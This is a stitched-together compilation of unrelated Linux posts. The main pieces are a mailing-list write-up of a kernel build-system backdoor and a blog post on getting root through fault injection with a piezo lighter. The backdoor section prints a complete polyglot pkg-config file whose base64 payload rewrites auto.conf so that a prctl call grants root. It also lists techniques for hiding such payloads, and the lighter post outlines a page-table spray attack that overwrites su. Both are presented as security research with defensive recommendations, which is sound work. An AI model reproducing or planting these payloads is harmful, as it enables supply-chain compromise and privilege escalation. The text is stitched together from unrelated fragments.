7 private links
Hi all,
Given the recent xz/sshd backdoor, I wanted to try to think more like
an attacker and build my own backdoor.
To start off, I've chosen the Linux kernel as the target for the attack,
and I want to do it without changing either the kernel source code or
any release tarballs.
In other words, the backdoor would have to rely on compromising some
_other_ package that gets installed on a distro build server that is used
for building the kernel for that particular distro.
For my particular backdoor it doesn't really matter which exact package
is compromised; all that is required is the existence of a file
/usr/lib64/pkgconfig/libelf-uninstalled.pc with mode 755 and containing
something along the lines of:
prefix=/usr
exec_prefix=/usr
libdir=/usr/lib64
includedir=/usr/include
f=$objtree/include/config/auto.conf
sig=Q0ZMQUdTX3N5cy5vPSctRFNFVF9FTkRJQU4oeCx5KT0tMjIsY29tbWl0X2NyZWRzKCh2b2lkKilpbml0X3Rhc2suY3JlZCknCg==
grep -q sys.o $f || sed -i "/ELFCORE/a $(echo $sig | base64 -d)" $f; exit
Name: libelf
Description: elfutils libelf library to read and write ELF files
Version: 0.189
URL: http://elfutils.org/
Libs: -L${libdir} -lelf
Cflags: -I${includedir}
-DLIBELF='$(/usr/lib64/pkgconfig/libelf-uninstalled.pc)'
Requires.private: zlib libzstd
(This is based on an existing file for libelf, typically located at either
/usr/lib64/pkgconfig/libelf.pc or
/usr/lib/x86_64-linux-gnu/pkgconfig/libelf.pc.)
Now, you could argue that this is easy to spot -- why would a pkg-config
file contain base64 data, why would an unrelated package contain something
that looks like it belongs to libelf, etc. I would argue that the above
looks suspicious but not necessarily like a kernel backdoor and could
potentially pass for a legitimate file; moreover, that a malicious
maintainer could introduce it into a less well-reviewed distro package
that happens to be installed by default.
In any case, let's see how it works:
When you call 'pkg-config --cflags libelf' (like the kernel build system
does), this will output:
-DLIBELF='$(/usr/lib64/pkgconfig/libelf-uninstalled.pc)'
This string will get used by 'make' and passed along to the shell, which
runs /usr/lib64/pkgconfig/libelf-uninstalled.pc as a shell script.
When the file is run as a shell script, it starts at the top and sets
prefix, exec_prefix, etc. as local variables. It also sets f, sig, and
then runs:
grep -q sys.o $f || sed -i "/ELFCORE/a $(echo $sig | base64 -d)" $f; exit
(The 'exit' here is to stop the shell from emitting error messages from
the subsequent lines.)
This code checks whether 'sys.o' is in $objtree/include/config/auto.conf,
which is a file used by the kernel during the build ($objtree is defined
by the kernel build system) -- if not, it runs:
sed -i "/ELFCORE/a $(echo $sig | base64 -d)" $f
This just looks for any line containing the string "ELFCORE" (again in
auto.conf) and appends another line at that point in the file. If we
decode the base64 string, we see that it adds the line:
CFLAGS_sys.o='-DSET_ENDIAN(x,y)=-22,commit_creds((void*)init_task.cred)'
I should mention that libelf is used to build 'objtool', a program that
itself runs during the kernel build. It is typically built early in the
build, which gives us a chance to hook into the build system before any
real kernel code is compiled.
Anyway, after the script is run, include/config/auto.conf will contain
something like:
...
CONFIG_ACPI_PROCESSOR=y
CONFIG_ELFCORE=y
CFLAGS_sys.o='-DSET_ENDIAN(x,y)=-22,commit_creds((void*)init_task.cred)'
CONFIG_HIBERNATION_SNAPSHOT_DEV=y
CONFIG_HAVE_KVM=y
CONFIG_PCCARD=y
...
(I chose CONFIG_ELFCORE= as the insertion point because 1) it's in the
middle of the file so it's unlikely to be easily spotted at the top or
bottom, and 2) it has that semi-plausible connection to libelf).
This file, include/config/auto.conf, is read by GNU Make and the kernel
build system. Even more, it's _evaluated_ by the build system, meaning
that it is actually a Makefile that can contain arbitrary Make code. In
this case, the additional line sets the variable CFLAGS_sys.o, which
contains extra CFLAGS passed to the compiler for any object files named
sys.o, such as kernel/sys.o, at build time.
The flag passed to the compiler is:
-DSET_ENDIAN(x,y)=-22,commit_creds((void*)init_task.cred)
(Thanks to Michael Ellerman for the suggestion to use commit_creds().)
This has the effect of defining the macro SET_ENDIAN(), and for
kernel/sys.c (when compiled on x86, at least) would have been defined in
the same file with:
#ifndef SET_ENDIAN
# define SET_ENDIAN(a, b) (-EINVAL)
#endif
It gets used like this:
SYSCALL_DEFINE5(prctl, int, option, unsigned long, arg2, unsigned
long, arg3,
unsigned long, arg4, unsigned long, arg5)
{
...
switch (option) {
...
case PR_SET_ENDIAN:
error = SET_ENDIAN(me, arg2);
break;
...
return error;
}
Now we see that whenever you call prctl(PR_SET_ENDIAN) from userspace,
the code will expand to:
case PR_SET_ENDIAN:
error = -22,commit_creds((void*)init_task.cred);
break;
...which of course means that it still returns -EINVAL, but it additionally
also makes the calling process root.
No .c or .h source code was touched and there won't be many traces of the
code during or after the build, except:
- kernel/.sys.o.cmd
- include/config/auto.conf
- perhaps the console/build log if the kernel is built with V=1
However, these files are considered internal to the build system and
normally won't appear in RPMs, manifests, debug info, or anything like
that. There is no foreign object file, no missing symbols, and no missing
debug info.
(I should add that we could potentially also attempt to clean these files
up by inserting additional Makefile code into CFLAGS_sys.o. I'll leave it
as an exercise to the reader...)
Moreover, kernel/sys.o already contains many calls to commit_creds(), and
so it won't look particularly suspicious or out of place even when looking
at the object code/disassembly.
I did an end-to-end test on one (unnamed) distro and the backdoor works.
I originally attempted to use a file in /etc/bash_completion.d/ or
/etc/environment.d/ to set the 'sub_make_done' environment variable to:
$(eval export CFLAGS_sys.o :=
"-DSET_ENDIAN(x,y)=-22,commit_creds((void*)init_task.cred)")
(which would get evaluated by Make); however, these are not read by
non-interactive shells and so likely wouldn't affect a distro's build
process -- nevertheless, it demonstrates another pitfall: the fact that
Make allows you to override arbitrary build-internal variables with
environment variables and that those strings are evaluated as Makefile
fragments and can contain essentially arbitrary code (see
<https://lore.kernel.org/tech-board-discuss/872f9cfd-5c19-4a82-bf75-6256265e8f8a@oracle.com/>
as well for a bit more on this).
To sum it up, here are some of my takeaways (no doubt known by many
others already):
- Beware of search paths. pkg-config searches a few different directories
and it may be possible to quietly drop something in that will inject
itself into the build process.
Of course, search paths already have a bit of a reputation and the
other famous ones are PATH and LD_LIBRARY_PATH which are also viable
vectors in this case, assuming you can either influence the list itself
or place a malicious file within one of the earlier components.
I would also consider locales a potential vector -- on my system,
running 'make' searches /usr/share/locale/ as well as
/usr/share/locale-langpack/ and one could imagine a malicious
translation file containing printf formats with %n, for example, to
induce memory errors. (I'm not familiar with the file format, but
depending on how well the parsers have been tested/fuzzed, it might
be possible to do something with intentionally corrupted translation
files as well.)
- Beware of polyglot files. In this case, a pkg-config metadata file
doubled as a shell script. In the xz backdoor, binary test data also
contained shell scripts and object files.
I unfortunately lost the source, but I read somewhere that valid PNG
files can have arbitrary data appended at the end, which seems to be
true in a cursory test. There will undoubtedly be other unexpected
combinations of files that can be used to hide payloads.
- Speaking of hiding payloads, one could imagine using ANSI escape
sequences (e.g. save + restore cursor location) to hide some parts
of files from being output into a terminal (e.g. cat) -- however, this
is unlikely to be effective for files that are frequently modified
with text editors (i.e. source files). For intermediate/generated
files or typical console output it might not hurt the attacker to try
this to avoid detection.
- Beware of environment variables. Shellshock-style "bash function"
overrides of commands, Makefile injections, search paths, build
flags: these and more can all be used to subtly influence other
programs down the line and often don't really leave a trace in either
source code, object code, or build logs.
Apart from CFLAGS, we can also use LDFLAGS to inject a fragment of
Makefile code that checks whether $@ is a particular target, and if
so, includes an additional object file:
$ LDFLAGS='$(if $(filter target,$@),malicious.o,)' make target
cc malicious.o target.c -o target
- Eval... since it often means running code that doesn't exist anywhere
as a file (and is thus difficult to capture in SBOM-type solutions).
Shells and Make both have eval.
- File descriptors can be useful for passing data around without leaving
a filesystem footprint. We could imagine a malicious shared object
opening a file and later manipulating some command down the line into
using the file descriptor as an input:
fd = memfd_create(...);
write(fd, ...);
dup2(fd, 9);
close(fd);
...
setenv("CFLAGS", "$(eval $(shell cat <&9))");
Here, CFLAGS would get expanded by 'make', resulting in using the shell
to read from the file and evaluating the result as a Makefile fragment,
while CFLAGS itself would be set to an empty string as long as the
Makefile fragment doesn't output any text.
- Symlinks have a rich history of exploitation and can be used to
temporarily redirect an otherwise legitimate path to malicious content.
- __attribute__((constructor)) can be used to run code when a shared
library is loaded and would be fairly easy to inject through CFLAGS
(either using -include or -D)
- Perhaps the most important takeaway of all is that it's not just a
project's code, not even a project's direct and indirect runtime
dependencies, but ALL its build dependencies as well, that can be used
to inject backdoors. The kernel doesn't depend on any shared libraries
at runtime -- but as long as we can hijack the build process, we can
fairly easily inject code into the compiled kernel.
On my system, a kernel build runs more than 70 different binaries and
loads more than 32 distinct shared libraries. That's a large attack
surface.
I happen to care more about the kernel, but much of what I've described
here would apply to other typical C projects.
Many of the things above are known from traditional exploits, but not
necessarily in the context of trying to influence a build system.
I don't want to make too many recommendations, but here are some that
came to mind:
1) We should build software in sanitized, minimal environments. In
particular, GNU Make looks like an easy target due to how it imports
environment variables and evaluates their contents lazily whenever
they are used. Maybe this should be made non-default behaviour.
2) In general the practice of passing settings and configuration
implicitly through environment variables doesn't seem like a great
idea. Could we sanitize or enforce environment variables through
something like seccomp or landlock? We could imagine the top-level
build process declaring "from here on, any exec() cannot remove or
change CFLAGS" or "from here on, PKG_CONFIG_PATH cannot be set".
3) Distro build systems could output their environment variables at
various stages of the build so they can be audited for any suspicious
variables or values.
4) It might be useful to perform builds using overlayfs or landlock so
that ALL other files on the system that are not used for the build
are removed or made inaccessible.
5) Use separate source and build directories. All source files and
directories must be read-only to prevent tampering during the build.
6) It might be useful to have build systems output straight-line shell
scripts (using no functions or variables) that can be generated and
executed in separate stages (perhaps isolated from each other using
overlayfs or containers) and inspected and diffed. In other words,
separating the build system from the build.
Even if we did all of this, it would of course still not be enough. The
underlying problem is having things that are unreadable or unreviewable --
binary files, inscrutable code (whether shell scripts, makefiles, m4 code,
or, in some cases, Perl code).
Anyway, I hope this was useful, I certainly learnt a lot.Noise suppression
And the 4 linked posts
Q: How would that even work?
A: The magic of Linux! By combining userfaultfd with process_vm_readv, any userspace application can obtain a copy-on-write mapping (with some limitations) of memory it never owned. All it needs is ptrace privileges, which is to say, having the same uid usually works.
Q: Still, what do you actually need it for?
A: Dynamic binary analysis and instrumentation of applications with built-in integrity checks. As far as I know process_vm_readv isn't even detectable if the agent process is more privileged than the examinee process—so you're free to manipulate your private copy of the application in the comfort of your own address space
Udp graceful restart
Welcome to my
::'########::'##::::::::'#######:::'######:::
:: ##.... ##: ##:::::::'##.... ##:'##... ##::
:: ##:::: ##: ##::::::: ##:::: ##: ##:::..:::
:: ########:: ##::::::: ##:::: ##: ##::'####:
:: ##.... ##: ##::::::: ##:::: ##: ##::: ##::
:: ##:::: ##: ##::::::: ##:::: ##: ##::: ##::
:: ########:: ########:. #######::. ######:::
::........:::........:::.......::::......::::
CTF writeups, programming, and miscellaneous stuff.
Blog Index
Can You Get Root With Only a Cigarette Lighter?
By David Buchanan, 7th October 2024
Spoiler alert: Yes.
A regular bright-orange cigarette/barbecue lighter
the elite hacking tool they don't want you to know you already own
Before you can write an exploit, you need a bug. When there are no bugs, we have to get creative—that's where Fault Injection comes in. Fault injection can take many forms, including software-controlled data corruption, power glitching, clock glitching, electromagnetic pulses, lasers, and more.
Hardware fault injection is something that typically requires specialized (and expensive) equipment. The costs stem from requiring a high degree of precision in terms of both when and where the fault is injected. There are many valiant attempts at bringing down the costs, with notable projects ranging from the RP2040-based PicoEMP, all the way to "Laser Fault Injection for The Masses". (The RP2040 crops up a lot due to its low cost combined with the "PIO" peripheral, which can do I/O with tight timings and latency)
A while back I read about using a piezo-electric BBQ Igniter coupled to an inductor as a low-budget tool for electro-magnetic fault injection (EMFI), and I was captivated. I wondered, how far can you take such a primitive tool? At the time, the best thing I could come up with was exploiting a software implementation of AES running on an Arduino, using DFA—it worked!
But I wasn't fully satisfied. I wanted to exploit something more "real," but I was out of ideas for the time being.
Fast forward to a couple of weeks ago, and the announcement of the Nintendo Switch 2 is on the horizon. We anticipate the Switch 2 will run largely the same system software as the Switch 1, and we're all out of software bugs. So, I was inspired to brush up on my hardware exploitation skills, and revisited my thoughts on low-budget EMFI.
The Test Subject
Like any self-respecting hacker, I own a pile of junk laptops. I picked out a Samsung S3520, equipped with an Intel i3-2310M CPU and 1GB of DDR3 RAM. Manufactured in 2011, it's new enough that it can comfortably run a lightweight desktop Linux distro (I picked Arch), but crappy enough that I wasn't worried about bricking it.
My goal is to write a local-privilege-escalation exploit that works based on injected hardware faults.
I decided that the most physically vulnerable part of the laptop was the DDR bus that connects the DRAM memory to the rest of the system.
If you've ever looked at a laptop memory module (SODIMM), you'll notice it has a whole lot of pins. Among them are 64 "DQ" pins (numbered DQ0 to DQ63) that transfer data bits in either direction (read or write). I figured that if I could inject faults on one of these pins, I could do something interesting.
After a lot of fiddling around, here's the hardware setup I came up with:
a DDR3 SODIMM with a wire soldered to one of the data lines
If I counted right, this corresponds to pin 67, aka DQ26
It's just one resistor (15 ohms) and one wire, soldered to DQ26. The wire acts like an antenna, picking up any nearby EM interference and dumping it straight onto the data bus. The resistor (which might be entirely unnecessary) is just there to make sure that the interference isn't so great as to disturb normal operation of the memory—I only want glitches to happen on-demand, not all the time.
a laptop running memtest86+, showing two errors
Ignore the random electrical tape; this laptop has been through a lot.
I found that clicking a regular piezo-electric lighter (no inductor coils needed) in the vicinity of the antenna wire was enough to reliably induce memory errors, shown here under memtest. Note that the errors shown both correspond to bit 29 being flipped.
Why bit 29, when I soldered to DQ26? Honestly, I'm not entirely sure; either I miscounted the pins or my laptop's motherboard swaps some of the data lines around. As far as I can tell, swapping data lines like that is allowable (it can make signal routing easier).
We don't have much control over when we inject the fault (to the resolution of my finger's reaction speed), but whenever it happens we can be fairly certain it will always flip the same bit of any particular 64-bit read or write.
Exploiting Bit-flips in CPython
As a starting point, I wanted to try writing a "sandbox escape" exploit for CPython. This is purely academic since CPython isn't even sandboxed in the first place and you can just do os.system("/bin/sh"), but I needed something easy to get started with and I'm already familiar with CPython's internals. My explanation for this exploit is going to be a bit hand-wavey because the specifics aren't that interesting, it's the overall strategy that I want to convey.
For exploiting CPython, I actually used a wire soldered to DQ7 instead of the DQ26 pictured earlier, for reasons that will become more obvious shortly.
CPython objects live on a garbage-collected heap. An object has a header that contains its refcount, then a pointer to its type object, followed by other type-specific fields. There are two object types of particular interest to us, bytes and bytearray. bytes objects are immutable and bytearray objects are mutable.
A bytes object has a length field, followed by the data itself (as part of the same heap allocation).
A bytearray object has a length field followed by a pointer to the actual data storage buffer.
The core idea of my exploit strategy is to instantiate a bytes object that contains a fake bytearray structure within it. The fake bytearray object is just data, we can't do anything with it, but if we trick CPython into giving us a reference (pointer) to this fake object, then we can construct an arbitrary memory read/write primitive (since we chose the bytearray's length and pointer fields ourselves).
So how do we get a reference to the fake object? Recall that our initial "exploit primitive" is the ability to flip bit 7 of a 64-bit word. This is equivalent to either adding or subtracting 128 (27) from a pointer. If our fake bytearray object was at an offset of +128 bytes within the bytes object, then glitching a pointer to the bytes object will transform it into a pointer to the crafted bytearray object (with 50% probability).
So the big question is, how do we glitch that specific pointer, as opposed to everything else? If we accidentally glitch some important data we'll probably crash the whole OS, which is obviously not good.
Something important to remember is that we're glitching the memory bus, not the memory contents (as in something like Rowhammer). We only glitch the read and write operations, the data "at rest" is mostly safe. The solution here is to spam memory accesses of the pointer we want to glitch. If 99% of bus activity is saturated with exploitable operations, then a randomly timed glitch has (in theory) a 99% chance of landing somewhere we want it to.
If we read the same pointer in a loop, almost nothing would happen. This is because the CPU caches the data to avoid unnecessary DRAM accesses (cache is fast, DRAM is comparatively slow and high-latency).
My solution was to fill up a big array (larger than the 3MiB cache this CPU has) with references to the same object. Then I can access the array items sequentially in a loop, forcing the CPU to fetch them from DRAM each time, and check to see if their value changed. The inner loop looks like this:
1
2
3
4
5
6
7
"victim" is the prepared bytes object described earlier
spray = (victim,) * 0x100_0000 # I actually use a tuple instead of an array, same idea
for obj in spray:
if obj is not victim: # under non-glitchy conditions, this is always false
print("Found corrupted ptr!")
assert(type(obj) is bytearray)
Most of the time this won't work, so the whole thing is done from inside another big loop, until it does work (or until the system crashes 🙃).
Python's is keyword comes in handy here, it's essentially a pointer comparison operation, allowing us to check if the pointer changed. Visualising the objects in memory, it looks like this:
A "glitched" pointer is shown in red, which is now able to access the fake bytearray object. The glitch itself could occur during either a write or a read, the net result is the same either way. The rest of the exploit isn't especially interesting; I set up a repeatable read/write primitive and then craft a Function object that jumps to shellcode. You can see the full source here. The script also has an option (the TESTING variable) to induce simulated bit-flips through software, which is useful for testing without any hardware setup.
Exploiting Bit-flips in Linux
Now that we've warmed up, it's time for a proper security boundary crossing. Can we get from an unprivileged Linux user, to root? There are three core concepts we need to understand first:
Memory caching (which I already touched on)
Virtual Memory and Page Tables
The Translation Lookaside Buffer (TLB)
Memory Caching
As I mentioned earlier, DRAM is (relatively) slow and high-latency. So the CPU has on-die caches, which are faster. These caches have multiple tiers (L1, L2, L3) with different size/locality/latency trade-offs, but for our purposes we only have to care about the L3 cache (the largest layer, 3MiB in this case). If data currently resides in cache (a "cache hit"), the CPU won't need to access DRAM to read it. If there's a "cache miss" on the other hand, the CPU will have to reach out to DRAM.
The smallest unit of memory from the caching perspective is a "cache line", and on my laptop that's a 64-byte chunk. That means that if you read even a single byte that isn't cached, a whole 64-byte DRAM read operation takes place. You may recall that the DRAM data bus itself was only 64 bits wide, which means the read happens in a "burst" of 8 sequential accesses.
The precise policy the CPU uses to decide which data to keep in the cache, and when to "evict" it, is effectively a vendor-proprietary secret. But as a reasonable approximation we can model it as a LRU cache: least-recently-used cache lines get evicted first.
Virtual Memory
Back in the old days, simple CPUs like the MOS 6502 had a "flat" address space. If your program tried to read from address 0xcafe, then the CPU would physically set the 16-bit address bus pins to 0xcafe (0b1100101011111110) and read back a byte from that location. Aside from hardware tricks like bank switching, the address you requested was the address you got data back from. Simple as!
My 6502 computer, built many years ago (the USB-C port is a contemporary addition). Note the D0-D7 data pins and A0-A15 address pins.
Fast forward a number of years, and we want to run more than one program at once on our CPUs. Furthermore, each program should be tricked into believing it has the whole address space all to itself. This is useful for a lot of reasons, including that it stops one process from being able to clobber another process's memory (accidentally or otherwise).
In the modern era, we call this trick Virtual Memory. Virtual Memory means that there's a layer of indirection between the address a program tries to access (the virtual address), and the underlying physical address space. Each process can have its own virtual->physical mappings, keeping different processes isolated from each other.
On x86-64 (and most other modern architectures), this indirection is implemented using the concept of Paging.
The virtual address space is split up into 4KiB Pages, and a tree-structured hierarchy of Page Tables dictates how the CPU (specifically the MMU) decodes virtual addresses and maps them onto physical pages. On this platform there are 4 layers of Page Tables. Officially the 4 layers all have different names, but I'm going to call them "level 3" to "level 0", with level 3 being the root of the tree. A Page Table is itself a 4KiB page, containing an array of 512 Page Table Entries (PTEs), each a 64-bit structure. A PTE either points to the physical address of the next-level Page Table (in the case of levels 3 to 1), or the physical address of the "destination" page (in the case of level 0).
The physical address of the root page table is stored in the CR3 CPU register.
The PTEs themselves have the following layout (diagram via osdev wiki)
The only part that we need to care about is the address portion, in the middle. When you mask off all the flag bits, you're left with a physical memory address (since pages are 4K-aligned, the low bits are always zero).
For a probably-better explanation along with some diagrams, check out this article from "Writing an OS in Rust" (note that they number the levels 4 to 1, which is probably more conventional 😅).
The Translation Lookaside Buffer
If the process of traversing page tables to resolve a virtual address sounds expensive, that's because it is. That's where the TLB comes in. It's a specialized piece of hardware inside the CPU that efficiently caches virtual-to-physical page mappings. The TLB has a finite size, and I don't actually know the size for my laptop but from what I can tell, it's somewhere on the order of 1024 entries (note that each entry corresponds to a whole page-sized mapping).
Exploit Strategy
My exploit strategy was inspired by elements of Mark Seaborn's Rowhammer exploit. The main goal is to get a Page Table for our own process mapped into user-accessible memory. Once we have that, we can modify the PTEs within it to grant ourselves access to arbitrary physical memory, which is essentially the keys to the kingdom.
Rather than try to control the layout of structures in physical memory (A physical-memory version of heap feng shui, I suppose?), my strategy is to fill up (aka "spray") as much of physical memory as possible with level-0 page tables. In practice I fill exactly 50% of physical memory.
Once the spray is complete, I sit in a loop trying to access a bunch of R/W mappings in a way that bypasses the TLB (because the number of mappings exceeds the TLB size), forcing a page table traversal on each access. I want to glitch the memory bus during that traversal in order to corrupt bit-29 of a level-0 PTE read. If I'm lucky (with about 50% odds) the glitch will offset the physical address that the PTE points to, making it point to one of the level-0 page tables that we sprayed earlier.
This should theoretically work with bit-flips in any bit position between 29 (corresponding to a 512MiB offset) and 12 (corresponding to a 4KiB offset). It just matters that the PTE ends up pointing "somewhere else," and because we've filled up ~50% of physical memory with exploitable page tables, we have a good chance of success. Therefore, soldering the antenna wire perhaps isn't totally necessary, if you can generate strong enough electromagnetic interference (although you'd have much higher chances of crashing or even bricking the whole system that way).
Here's a visualisation of how the fault affects the page tables:
Each of the blocks in this diagram represent a 4K page of physical memory. Their locations within memory are more or less random, and aren't relevant to the exploit logic. What does matter is what points to what. The glitched PTE (in red) is supposed to point to the R/W page, but now it points to another level-0 page table, providing access to it as if it were a regular R/W page. In practice there are thousands more of these level-0 pages, and the glitched PTE could've ended up pointing to any one of them, but I can only fit so many on the diagram.
So how do I spray so many level-0 page tables?
First, I create a memfd, which is a relatively modern Linux feature. It fills the same role as the /dev/shm/ file in Mark Seaborn's exploit, but without having to touch the filesystem at all. Then I use the mmap syscall to map this same buffer into memory, many times over. I use the MAP_FIXED option to force each mapping to be 2MiB-aligned in virtual memory, which guarantees the creation of a new level-0 page table each time. Linux has a ~216 limit to the number of mappings (VMAs, Virtual Memory Areas) that each process is allowed, so I make each mapping 32MiB long. This means each one generates 16 level-0 page tables. Although each mapping takes up 32MiB of virtual memory space, the PTEs all point to the exact same underlying physical pages. The physical memory cost of each mapping consists only of the level-0 page tables, and therefore I can spray as many of them as I want, until memory is full.
As I said before, we attempt to access the R/W mappings in a loop, waiting for a fault to happen. We can detect a fault because an unexpected value will come back, and if it was successful then the data should look like a PTE. If so, we now have R/W access to a page table. The next step is to figure out which virtual address this page table corresponds to. I do this by modifying the PTE to point at physical address 0 (which is an arbitrary choice, any address should work really) and then scanning the R/W mappings again to see which one changed, if any.
The MMU won't immediately "notice" edits to the PTE, because the virtual->physical address mappings are cached by the TLB. Every time we change it, we need to flush the TLB. There's no direct way of doing this from userspace (that I know of?) so instead I just access a few thousand of the R/W mappings in a loop, forcing the TLB to fill up with new values and evict the old ones.
At this point, we have full read/write access to all of physical memory! There are a bunch of strategies we could use from this point onwards, and again I took inspiration from the Rowhammer exploit. I open the /usr/bin/su executable (which is setuid root) nominally in read-only mode (I don't have write permissions!) and mmap the first page of it. Then, I scan through all of physical memory until I find that same page. Once I've found the physical page, I have full write access to it, and I replace it with my own tiny (<4KiB) ELF program that spawns a root shell. This effectively poisons Linux's page cache.
The next time someone (me) tries to invoke the su binary, Linux knows it already has the first page in memory and doesn't try to read it from disk again. So it re-uses that cached page, and starts executing our injected ELF instead. Game over!
My injected ELF also flushes the page cache (echo 1 > /proc/sys/vm/drop_caches), so the next time someone invokes su it functions normally again.
My full exploit source can be found here.
Here's a demo video (sorry it's a bit blurry):
I was unusually lucky on this run, normally it takes several clicks of the lighter to get a good glitch. Not shown are the several previous attempts that crashed the whole system! I'm not sure what the overall exploit reliability is, I haven't tried to measure it rigorously. When the laptop's screen is off and I'm SSHed in it feels like it's around 50%. But when I'm at a graphical shell like in the demo, it's maybe closer to 20% reliability. This system has integrated graphics, so perhaps the GPU's memory accesses interfere with the exploit. There are also various background services running (pipewire, sshd, systemd stuff etc.), and swap is enabled too. I wanted it to be a fairly realistic desktop Linux environment, and disabling all these things would probably increase reliability.
If the laptop had more RAM installed, I'd be able to fill an even higher percentage of it with page tables, which should also increase the overall exploit reliability.
Practical Uses
As cool as my Linux LPE is, I already had root on that laptop because it's mine. Is there anything more "useful" we can do with it?
I'm not much of a PC gamer (more of a Nintendo fanboy), but I'm always irked when I see "anti-cheat" software that uses technologies like TPM to restrict the software you're allowed to run on the rest of your system. Perhaps a reliable EMFI Windows LPE would let gamers take back control of their PCs without interfering with TPM attestation status.
Imagine a future where "Gaming RAM" sticks have a RP2040 on board to automate the whole exploit (and also drive the RGB LEDs, of course).
There's a similar story with Android devices and SafetyNet/Play Integrity checking, although fitting a glitching modchip into a phone would be more of a challenge.
Thoughts
On a conceptual level, I've known about page tables and TLBs for a long time. But even when working on low-level performance optimizations, that knowledge has never actually mattered to me (Caching on the other hand becomes relevant all the time!) But in this exploit, all of it absolutely does matter, and it's been very satisfying to finally test that theoretical knowledge.
Actually seeing and interacting with the structures that maintain the illusion of virtual memory felt a bit like escaping the matrix.
Open Questions
Does it work on DDR4, DDR5? (I don't see any reason why not!)
Does it work on ARM? (Likewise)
To what extent do the various types of ECC mitigate this? (DDR5 Link-ECC in particular)
What's the simplest way to trigger similar faults electronically? (say, with an RP2040)
Can you use this to break out of a hypervisor?
Can I write a Webkit exploit with this?
Can I write a Nintendo Switch kernel exploit with this?
I'm going to be looking into these in the future—stay tuned!
Finally, I'd like to thank JEDEC for paywalling all of the specification documents that were relevant to conducting this research.
Homepage - Blog Index - RSS
This blog is part of the Haunted Webring
< Previous - Random - Next >
Detour
On Linux, the traditional divide between statically and dynamically linked executables can feel like a hard wall. Either you bundle everything into your binary, or you accept full dependency on the system's libc and dynamic linker. But Detour, a tiny static library, blows a hole clean through that wall.
Detour lets you build statically linked executables, with no dependency on glibc
or musl while still giving you access to dynamic linking at runtime. You can
dlopen libraries, resolve symbols, and even mix multiple C runtimes in the
same process, all without ever linking against libc directly.
What Is Detour?
At its core, Detour is a minimal bootstrap layer that gives your application access to the system dynamic linker ld-linux.so without requiring libc at all. It allows:
- Dynamically loading libraries without linking libc
- Capturing
libdlfunctionality (e.g.,dlopen,dlsym) inside a fully static executable - Mixing different libcs in one process
- Creating freestanding, zero-libc ELF executables
All while remaining entirely under your control, with no extra dependencies or runtime overhead.
Note: Detour is not limited to freestanding or static use. You can also use it in dynamically linked applications that use an alternative libc such as musl. Detour works in both static and dynamic contexts.
Note: Detour only works with x86_64 Linux currently. Other architectures can be supported but will require writing assembly for system calls, setjmp/longjmp, and the indirect jump into the ELF entry point. See loader.c.
Why Static Linking Alone Is Not Enough
While fully static linking may sound appealing, it comes with major tradeoffs. When you bundle everything into your binary, you lose access to essential system components that rely on dynamic linking. This includes things like:
- GPU drivers (e.g., OpenGL, Vulkan ICDs)
- Window systems (X11, Wayland)
- Audio subsystems
- Input libraries
- PAM modules and NSS services
- Almost any plugin-based runtime
These components expect a working dynamic linker environment. If you statically link a libc, you cannot also have a dynamic linker in the same process. That means dlopen and dlsym will not work, and neither will anything that depends on them.
Detour solves this by letting you statically link your core application while still setting up a dynamic linker for runtime use.
How It Works
To understand Detour, it helps to understand how dynamic executables work under the hood on Linux.
When you run a dynamically linked ELF binary, the kernel does not actually execute your binary. Instead, it reads the ELF Program Header Table to find a segment of type PT_INTERP. This segment specifies the program interpreter to use, typically /lib64/ld-linux-x86-64.so.2. The kernel then executes that interpreter, passing it:
- The full path to your executable
- All command-line arguments
- Environment variables
- Auxiliary vectors
From there, the dynamic linker takes over. It maps your executable into memory,
resolves shared library dependencies, performs relocations, sets up TLS, runs
constructors, and finally jumps to libc's initialization which then jumps to
your binary's main function. In effect, the dynamic
linker is the real program, and your application is just a payload it sets up
and transfers control to after initializing everything.
Detour leverages this system by pretending to be the OS.
It works like this:
- We provide a tiny stub ELF executable that is dynamically linked against the system dynamic linker.
- Your actual program (which Detour bootstraps) loads this stub ELF using a minimal ELF loader.
- Detour reads the stub executable's
PT_INTERPsegment and loads the specified dynamic linker, just like the kernel would. - Before jumping into the dynamic linker, Detour calls
setjmpto capture its current state. - It then jumps into the dynamic linker, forwarding the stub ELF and original arguments as if it were the kernel.
- The dynamic linker maps in and initializes the stub ELF, then calls its
mainfunction. Thatmainreceives a string argument containing a function pointer encoded as a hex string. It decodes the address, casts it to a function pointer, and calls it. - This function captures symbols like
dlopen,dlsym,dlclose,dlerror, and then callslongjmpto return to the original application. - Now, back at your main program's entry point, you have full access to the dynamic linker without ever linking against libc.
It is a trampoline: a short, carefully orchestrated detour through the dynamic linker, giving you just enough of its guts to carry on without ever depending on it directly.
About the Tiny Stub
The helper ELF stub used in the first step is extremely small. It's about 35
lines of C. It is dynamically linked, but uses __asm__(".symver") to
explicitly pin any symbols it calls to the earliest possible version of glibc
that introduced the dynamic linker (around 2002). This ensures maximum forward
compatibility with any glibc-based Linux system in the wild today. Don't believe
me? Look at the code
You can ship this stub alongside your application, compile it at runtime on the
user's system, or even embed it directly into your binary and extract it to a
temporary file at startup. Its only job is to get the dynamic linker to call a
known function pointer. Nothing more.
Included Demo
Included is a demo that uses Detour to render a flashing colored window using SDL2 and OpenGL. The demo is a fully freestanding static executable that dynamically loads the system's libc, libm, libSDL2, and libGL at runtime.
It is compiled with:
-static -nostartfiles -nodefaultlibs -nostdlib -e detour_start
Note: When using Detour in a freestanding way (such as this demo), the ELF entry point must be
detour_start.
Despite being entirely statically linked, the executable dynamically loads
everything it needs at runtime. This includes: graphics drivers, windowing system libraries,
and more without ever linking against glibc or any dynamic libraries at build
time. Provided the system has a libSDL2.so this will work on any Linux install
from 2002 onwards!
Why Use It?
- Create libc-free executables that still load plugins or shared libraries
- Avoid dependency hell when shipping portable tools across Linux distributions
- Experiment with new runtimes that bootstrap their own environment
- Mix musl and glibc in the same process for advanced compatibility or sandboxing
- Access graphics drivers, window systems, and hardware-accelerated APIs without linking glibc
- Maintain compatibility with system components that require a functioning
PT_INTERPchain
Final Thoughts
Detour does not hide how Linux works, it uses how Linux works. By repurposing the exact same mechanism the OS uses to launch dynamic binaries, it gives static executables a back door into the dynamic linker.
Whether you are building minimal tooling, crafting portable binaries, or writing
your own runtime, Detour gives you surgical control over how and when the
dynamic linker shows up.
I've added a new flag to pkill called --require-handler (or -H for short). This flag ensures that signals are only sent to processes that have actually registered a handler for that signal.